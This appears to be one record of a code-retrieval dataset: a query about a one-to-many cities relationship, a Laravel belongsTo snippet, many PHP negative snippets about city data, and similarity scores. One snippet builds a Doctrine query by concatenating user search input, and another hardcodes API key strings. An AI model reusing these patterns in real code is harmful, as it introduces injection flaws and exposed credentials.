'.$this->token;\n\n curl_setopt($ch, CURLOPT_HTTPHEADER,$header);\n curl_setopt($ch, CURLOPT_URL, $this->city_url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($ch);\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\n curl_close($ch);\n if($httpCode == 200 && $result) {\n $response = json_decode($result);\n if(empty($response)) {\n return false;\n }\n $count = count($response);\n $connection = Yii::$app->db;\n for ($i = 0; $i < $count; $i++) {\n $connection->createCommand(\"INSERT INTO city SET `city` = :city, ref = :ref ON DUPLICATE KEY UPDATE `city` = :city, ref = :ref\")\n ->bindValue(':city', $response[$i]->name)\n ->bindValue(':ref', $response[$i]->ref)\n ->execute();\n\n $ch = curl_init();\n $header = array();\n $header[] = 'Content-length: 0';\n $header[] = 'Content-type: application/json';\n $header[] = 'secret-token: '.$this->token;\n\n curl_setopt($ch, CURLOPT_HTTPHEADER,$header);\n curl_setopt($ch, CURLOPT_URL, $this->street_url.$response[$i]->ref);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($ch);\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\n curl_close($ch);\n if($httpCode == 200 && $result) {\n $streetList = json_decode($result);\n if(empty($streetList)) {\n return 'No items';\n }\n $count = count($streetList);\n $connection = Yii::$app->db;\n for ($i = 0; $i < $count; $i++) {\n $connection->createCommand(\"INSERT INTO street SET `street` = :street, city_ref = :ref ON DUPLICATE KEY UPDATE `street` = :street, city_ref = :ref\")\n ->bindValue(':street', $streetList[$i]->name)\n ->bindValue(':ref', $streetList[$i]->ref)\n ->execute();\n }\n }\n }\n }\n }", "public function setCity($city)\n {\n $this->city = $city;\n return $this;\n }", "public function setCity(string $city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity(string $city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function add_city()\n {\n if (Session::has('userid')) {\n $adminheader = view('siteadmin.includes.admin_header')->with(\"routemenu\", \"settings\");\n $adminleftmenus = view('siteadmin.includes.admin_left_menus');\n $adminfooter = view('siteadmin.includes.admin_footer');\n $country_details = City::view_country_details();\n return view('siteadmin.add_city')->with('adminheader', $adminheader)->with('adminleftmenus', $adminleftmenus)->with('adminfooter', $adminfooter)->with('country_details', $country_details);\n } else {\n return Redirect::to('siteadmin');\n }\n }", "public function setCity($v)\n\t{\n\t\tif ($v !== null) {\n\t\t\t$v = (string) $v;\n\t\t}\n\n\t\tif ($this->city !== $v) {\n\t\t\t$this->city = $v;\n\t\t\t$this->modifiedColumns[] = VenuePeer::CITY;\n\t\t}\n\n\t\treturn $this;\n\t}", "public function getCity() \n {\n return $this->city;\n }", "function updateFacebookCurrentCity () {\n }", "protected static function addOrUpdateCity($city)\n {\n $city_id = 0;\n if (is_array($city) && !empty($city)) {\n $city_id = (int)$city['id'];\n DB::insert(\n 'REPLACE INTO apimo_city SET city_id = ?, name = ?, zipcode = ?',\n [$city['id'], $city['name'], $city['zipcode']]\n );\n }\n\n return $city_id;\n }", "public function setCity($value)\n {\n $this->setParameter('billingCity', $value);\n $this->setParameter('shippingCity', $value);\n\n return $this;\n }", "public function getCities(array $options = []);", "public function getCityAddress() {\n\t\t$address = '';\n\t\tif(!empty($this->address)){\n\t\t\t$address.=$this->address.\" \";\n\t\t}\n\t\tif(!empty($this->city))\n\t\t\t$address .= $this->city . ', ';\n\t\t\n\t\tif(!empty($this->state))\n\t\t\t$address .= $this->state . ' ';\n\t\t\n\t\tif(!empty($this->zipcode))\n\t\t\t$address .= $this->zipcode . ' ';\n\t\t\t\n\t\tif(!empty($this->country))\n\t\t\t$address .= $this->country;\n\t\t\t\n\t\treturn $address;\n\t}", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function getCity(){\r\n\t\treturn $this->city;\r\n\t}", "public function addNewPersonToCity()\n {\n }", "public function getCityList()\n {\n return $this -> generate_city_list();\n }", "public function addCity(\\obiba\\mica\\LocalizedStringDto $value) {\n return $this->_add(2, $value);\n }", "protected function setLocationCityConstraint($query, $eventDemand, &$constraints) {\n\t\tif ($eventDemand->getLocationCity() !== NULL && $eventDemand->getLocationCity() != '') {\n\t\t\t$constraints[] = $query->equals('location.city', $eventDemand->getLocationCity());\n\t\t}\n\t}", "protected function generate_city_list()\n {\n $sql = \"SELECT city_name, city_value FROM city_list\";\n $conn = $this -> connect();\n $stmt = $this -> query($conn, $sql);\n $this -> disconnect($conn);\n \n $list = [];\n while ($row = $stmt -> fetch()): \n $list[] = array(\n 'name' => $row['city_name'], \n 'value' => $row['city_value']\n ); \n endwhile;\n return $list;\n }", "public function __construct(City $city)\n {\n $this->city = $city;\n }", "public function showCity(){\n\n return $this->getPostData()['novaposhta_city_custom_field'];\n\n }", "public function setCity($city = null)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity( $city ) {\n\t\t$this->container['cities'] = isset( $city ) ? array( $city ) : null;\n\n\t\treturn $this;\n\t}", "function geowidget_maybeyourcity_form_set_city_callback($form, $form_state) {\n if ($form['city_id'] != null) {\n $city = city_load($form['city_id']['#value']);\n if ($city) {\n $_SESSION['geowidget'] = array(\n 'id' => $city->id,\n 'title' => $city->title,\n );\n $form['text_maybe_city']['#value'] = $city->title;\n $form['text_maybe_city']['#suffix'] = '';\n unset($form['maybe_you_city']);\n }\n }\n return $form;\n}", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\n {\n return $this->city;\n }", "public function setCity(City $city)\n {\n $this->city = $city;\n return $this;\n }", "public function actionPlaces()\n {\n $city = Yii::$app->request->post('city');\n $api = new Kladr\\Api('51dfe5d42fb2b43e3300006e', '86a2c2a06f1b2451a87d05512cc2c3edfdf41969');\n\n $query = new Kladr\\Query();\n $query->ContentName = $city;\n $query->ContentType = Kladr\\ObjectType::City;\n $query->WithParent = true;\n $query->Limit = 2;\n\n $result = $api->QueryToArray($query);\n echo json_encode($result);\n }", "public function getCityList() {\n return $this->_get(2);\n }", "function getFilterUserCity(){\n\t$data = M('user');\n\t$city_set = Array();\n\t$result = $data->where(Array('reserved_1' => 'normal'))->group('city')->order(Array('convert(city using gbk)' => 'asc'))->select();\n\tforeach($result as $value)\n\t\tarray_push($city_set, $value['city']);\n\n\treturn $city_set;\n}", "function cities($state_id)\n\t{\n //echo json_encode(array('' => 'Ciudad') + ORM::factory('city')->where('state_id', $state_id)->orderby('city')->select_list('CONCAT(city_lon,\",\",city_lat)','city'));\n $cities = array();\n $_rs = ORM::factory('city')->select('city_lon AS lon, city_lat AS lat, city AS n, id')->where('state_id', $state_id)->orderby('city')->find_all();\n foreach($_rs as $_r) {\n $c['n'] = $_r->n;\n $c['id'] = $_r->id;\n $c['lonlat'] = $_r->lon.','.$_r->lat;\n\n $cities[] = $c;\n }\n header('Content-type: application/json; charset=utf-8');\n echo json_encode($cities);\n }", "public function location()\n {\n $city = $this->city;\n if ($city) {\n $subdivision = $city->subdivision;\n $country = $subdivision->country;\n\n $this->attributes['location'] = $city->name . ' ' . $subdivision->abbreviation . ', ' . $country->name;\n } else {\n $this->attributes['location'] = null;\n }\n }", "public function setCity($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->city !== $v) {\n $this->city = $v;\n $this->modifiedColumns[] = EventPeer::CITY;\n }\n\n\n return $this;\n }", "public function cities(Request $request)\n {\n // get the cities with id\n\n if ($request->has('id'))\n {\n $cities_with_id = City::where('id' , $request->id)->get();\n return $this->responsejson(true , 'success' , $cities_with_id);\n }\n elseif ($request->has('governorate_id'))\n {\n // get the all cities with governorate id\n $cities_with_governorate_id = Governorate::find($request->governorate_id)->cities()->get();\n return $this->responsejson(true , 'success' , $cities_with_governorate_id);\n }\n\n else\n {\n // get the all cities\n $cities = City::all();\n return $this->responsejson(true , 'success' , $cities);\n }\n\n }", "public function zipCitiesAction(Request $request){\n if ($this->get('cairn_user.api')->isRemoteCall()){\n $em = $this->getDoctrine()->getManager();\n $zcRepo = $em->getRepository(ZipCity::class);\n\n if($search = $request->query->get('search')){\n $zb = $zcRepo->createQueryBuilder('z');\n\n $zb->andWhere(\n $zb->expr()->orX(\n \"z.zipCode LIKE '%\".$search.\"%'\"\n ,\n \"z.city LIKE '%\".$search.\"%'\"\n )\n )\n ->orderBy('z.zipCode');\n $zipCities = $zb->getQuery()->getResult();\n }else{\n $zipCities = $zcRepo->findAll();\n }\n $returnArray = array();\n foreach ($zipCities as $zipCity){\n $returnArray[] = $zipCity->getName();\n }\n return $this->getRenderResponse(\n '',\n [],\n $returnArray,\n Response::HTTP_OK\n );\n }\n return new Response(\"JSON only\",400);\n }" ]
[ "0.6598099", "0.6168265", "0.6144245", "0.6013897", "0.59520847", "0.5886002", "0.5808218", "0.5783881", "0.57461905", "0.56845284", "0.56721175", "0.5669777", "0.5631365", "0.5626093", "0.56158805", "0.56084245", "0.5608329", "0.55883825", "0.5551042", "0.55422324", "0.5541039", "0.55372536", "0.553196", "0.5523599", "0.5519065", "0.5514019", "0.55082273", "0.54987055", "0.54936486", "0.5487952", "0.5474863", "0.5472031", "0.54693204", "0.5466217", "0.54552096", "0.54552096", "0.54225147", "0.5416079", "0.54043776", "0.54043776", "0.5403793", "0.54014647", "0.5390235", "0.5373162", "0.5370749", "0.53677917", "0.5360046", "0.53573173", "0.5354645", "0.5352181", "0.5348521", "0.5326133", "0.5326133", "0.53252435", "0.5322748", "0.53211385", "0.5287729", "0.5283808", "0.52820474", "0.5273201", "0.5272709", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5258413", "0.5251374", "0.5246957", "0.5237283", "0.52359146", "0.5235305", "0.5231542", "0.52261335", "0.5218286", "0.52134806", "0.5204328", "0.5194926", "0.51904964", "0.51904964", "0.51904964", "0.51894015", "0.5180299", "0.51754135", "0.51678556", "0.51633775", "0.51597154", "0.5151436", "0.5145897", "0.51295453", "0.5128158" ]
0.52126306
85
One to many relationship on the cities table.
public function city() { return $this->belongsTo('App\Models\Cities\City'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function cities()\n {\n return $this->hasMany('App\\City');\n }", "public function cities()\n {\n return $this->hasMany('App\\City');\n }", "public function cities()\n\t{\n\t\treturn $this->hasMany('City');\n\t}", "public function cities(){\r\n return $this->hasMany('App\\City');\r\n }", "public function cities()\n {\n return $this->hasMany(City::class, 'city_id');\n }", "public function cities()\n {\n return $this->hasManyThrough('App\\City', 'App\\State');\n }", "public function cities()\n {\n // return $this->hasMany('App\\Models\\City', 'country_id');\n return $this->hasMany('App\\Models\\City');\n }", "public function cities()\n {\n return $this->belongsTo(City::class, 'city_id','id');\n }", "public function cities()\n {\n return $this->belongsTo('App\\Models\\City', 'city_id')->withTrashed();\n }", "function cities()\n {\n return $this->hasMany('App\\Models\\City', 'country_id', 'id')->where('deleted_at', null);\n }", "public function City()\n {\n return $this->hasMany('App\\Model\\Addcity','country_id','id');\n }", "public function city( ) {\n return $this->belongsTo('App\\Http\\Models\\City', 'city_id', 'id');\n }", "public function city()\n\t{\n\t\treturn $this->belongsTo(City::class);\n\t}", "public function city() {\n \n return $this->belongsTo('City','city_id','id');\n }", "public function city()\n {\n return $this->belongsTo('\\App\\City', 'id_city');\n }", "public function city(): BelongsTo\n {\n return $this->belongsTo(City::class);\n }", "public function city()\n {\n return $this->belongsTo(\\App\\Models\\City::class);\n }", "public function city()\n {\n return $this->belongsTo(City::class, 'city_id', 'id');\n }", "public function city()\n {\n return $this->belongsTo(City::class, 'city_id', 'id');\n }", "public function city(){\n\t\treturn $this->belongsTo('App\\City');\n\t}", "public function city()\n {\n return $this->belongsTo(City::class);\n }", "public function city()\n {\n return $this->belongsTo(City::class);\n }", "public function city()\n {\n return $this->belongsTo(City::class);\n }", "public function city()\n {\n return $this->belongsTo(City::class);\n }", "public function city()\n {\n return $this->belongsTo('App\\City');\n }", "public function city_parts()\n {\n return $this->belongsToMany(HCCityParts::class, HCCityPartsStreetConnections::getTableName(), 'street_id', 'city_part_id');\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::class, ['id' => 'city_id']);\n }", "public function city()\n {\n return $this->belongsTo('App\\models\\addressCityModel', 'city_id');\n }", "public function city()\n {\n return $this->belongsTo(City::class, 'ciudad_id', 'id');\n }", "public function endCity()\n {\n return $this->belongsTo(City::class, 'end_city_id');\n }", "public function getIdCity0()\n {\n return $this->hasOne(City::className(), ['id' => 'idCity']);\n }", "public function paris() {\n $relation = $this->hasMany(\"Paris\");\n return $relation;\n }", "public function state()\n {\n return $this->hasMany('Modules\\Admin\\Models\\State','country_id')->with('city');\n }", "protected function updateCities()\n {\n $this->execute(<<<SQL\nUPDATE jl_loc_city jlc \n INNER JOIN jl_loc_region jlr ON jlr.id = jlc.region_id\n INNER JOIN jl_loc_state jls ON jls.id = jlr.state_id\n INNER JOIN jl_loc_country jlco ON jlco.id = jls.country_id\n SET jlc.country_id = jlco.id, jlc.state_id = jls.id;\nSQL\n );\n }", "public function getCities()\n {\n \treturn $this->citiesRepository->getCities();\n }", "public function localities()\n {\n return $this->belongsTo('App\\Locality', 'locality_id');\n }", "public function getCityArea()\n {\n return $this->hasOne(CityArea::className(), ['id' => 'city_area_id']);\n }", "public function companies()\n {\n return $this->belongsToMany('Villato\\Company', 'company_region_product', 'product_id', 'company_id');\n }", "public function morph()\n {\n $this->morphTable('city', [\n 'columns' => [\n new Column(\n 'id',\n [\n 'type' => Column::TYPE_INTEGER,\n 'primary' => true,\n 'autoIncrement' => true,\n 'first' => true\n ]\n ),\n new Column(\n 'external_id',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'notNull' => true,\n 'size' => 200,\n 'after' => 'id'\n ]\n ),\n new Column(\n 'title',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'notNull' => true,\n 'size' => 255,\n 'after' => 'external_id'\n ]\n ),\n new Column(\n 'status_id',\n [\n 'type' => Column::TYPE_INTEGER,\n 'after' => 'title'\n ]\n )\n ],\n 'references' => [\n new Reference(\n 'city_2_status',\n [\n 'referencedTable' => 'status',\n 'columns' => ['status_id'],\n 'referencedColumns' => ['id'],\n 'onUpdate' => 'CASCADE',\n 'onDelete' => 'SET NULL'\n ]\n )\n ],\n ]\n );\n }", "public function locations(){\n\t\treturn $this->hasMany('App\\Location');\n\t}", "public function getSrcCity()\n {\n return $this->hasOne(MsCity::className(), ['id' => 'src_city_id']);\n }", "public function countries(): \\Illuminate\\Database\\Eloquent\\Relations\\BelongsToMany\n {\n return $this->belongsToMany(Country::class);\n }", "public function incidencies() //: HasMany\n {\n return $this->hasMany(Incidencia::class, 'municipis_id');\n }", "public function getCities(): Collection\n {\n return $this->cities;\n }", "public function locations()\n {\n return $this->hasMany('App\\Location');\n }", "public function locations()\n {\n return $this->hasMany(Location::class, 'project_id');\n }", "public function CityVN()\n {\n return $this->belongsTo(CityVN::class, 'matp', 'matp');\n }", "public function countries()\n {\n return $this->belongsToMany('App\\Models\\Country', 'countries_itineraries');\n }", "public function places()\n {\n return $this->belongsToMany('App\\Models\\Admin\\Place\\Place');\n }", "public function counties()\n {\n return $this->hasMany('App\\SelectedCounty');\n }", "public function startCity()\n {\n return $this->belongsTo(City::class, 'start_city_id');\n }", "public function locations() {\n return $this->hasMany(Location::class);\n }", "public function hostels(){\n\t\t//campus has many hostels\n\t\treturn $this->hasMany('App\\Hostel');\n\t}", "public function getTasks()\n {\n return $this->hasMany(Tasks::className(), ['city_id' => 'id']);\n }", "public function locations()\n {\n return $this->belongsToMany(\n Locations::class,\n TripLocations::class,\n 'trip_id',\n 'location_id',\n 'id',\n 'id',\n );\n }", "public function locations(): BelongsToMany\n {\n return $this\n ->belongsToMany(\n Location::class,\n 'location_user',\n 'user_id',\n 'location_id'\n )\n ->withPivot('primary');\n }", "public function locations()\n {\n return $this->hasMany(Location::class);\n }", "public function setCities( $cities ) {\n\t\t$this->container['cities'] = $cities;\n\n\t\treturn $this;\n\t}", "public function addNewPersonToCity()\n {\n }", "public function getOudtshoornCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '102'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function codeByCityId() {\n return $this->belongsTo('App\\Code', 'city_id', 'id')->select('id', 'txt');\n }", "public function countries()\n\t{\n\t\treturn $this->hasMany('App\\Country');\n\t}", "public function courses() //: hasMany\n {\n return $this->hasMany(Course::class, 'teacher_id', 'id');\n }", "public function statesProvinces()\n {\n return $this->hasMany('App\\StateProvince');\n }", "public function show(cities $cities)\n {\n //\n }", "public function getProfiles()\n {\n return $this->hasMany(Profiles::className(), ['city_id' => 'id']);\n }", "public function getCityNameAttribute()\n {\n return $this->city->city;\n }", "public function getCapeTownCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '96'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function hasCity() {\n return $this->_has(2);\n }", "public function location()\n {\n return $this->hasMany('App\\Location');\n }", "public function getCapeAgulhasCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '112'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function companies()\n {\n return $this->hasMany('App\\Company');\n }", "public function regions()\n {\n return $this->belongsToMany('Villato\\Region', 'company_region_product', 'product_id', 'region_id');\n }", "public function neighborhood() {\n # Define an inverse one-to-many relationship.\n return $this->belongsTo('\\dsa\\Neighborhood');\n }", "public function estates() {\n return $this->hasMany(Estate::class);\n }", "public function regions()\n {\n return $this->hasMany('Region', 'lot_id');\n }", "public function regions()\n {\n return $this->hasManyThrough(FirmLocation::class, CandidateLocation::class, 'candidate_id', 'id', 'id' , 'location_id');\n }", "public function edit(City $cities)\n {\n //\n }", "public function Doctors()\n {\n return $this->belongsToMany('App\\Doctor')->using('App\\DoctorSpeciality');\n }", "public function getCederbergCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '117'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function locations()\n {\n return $this->hasMany(Location::class, 'data_source_id');\n }", "public function getCitiesOfMovies()\n {\n $query = $this->getEntityManager()\n ->createQuery(\n 'SELECT p\n FROM CinheticPublicBundle:Cinema p\n GROUP BY p.ville\n ORDER BY p.ville ASC'\n );\n return $query->getResult();\n }", "public function getCities($id)\n {\n return $cities = DB::select('select id,name from cities where state_id = :state_id', ['state_id' => $id]);\n }", "public function peoples()\n {\n return $this->hasMany(People::class);\n }", "public function companies()\n {\n return $this->belongsToMany(Company::class);\n }", "public function getHessequaCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '109'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function tramites(): HasMany\n {\n return $this->hasMany(Tramite::class);\n }", "public function primaryLocation(): BelongsToMany\n {\n return $this\n ->belongsToMany(\n Location::class,\n 'location_user',\n 'user_id',\n 'location_id'\n )\n ->wherePivot('primary', '=', true);\n }", "public function getGeorgeCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '108'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new 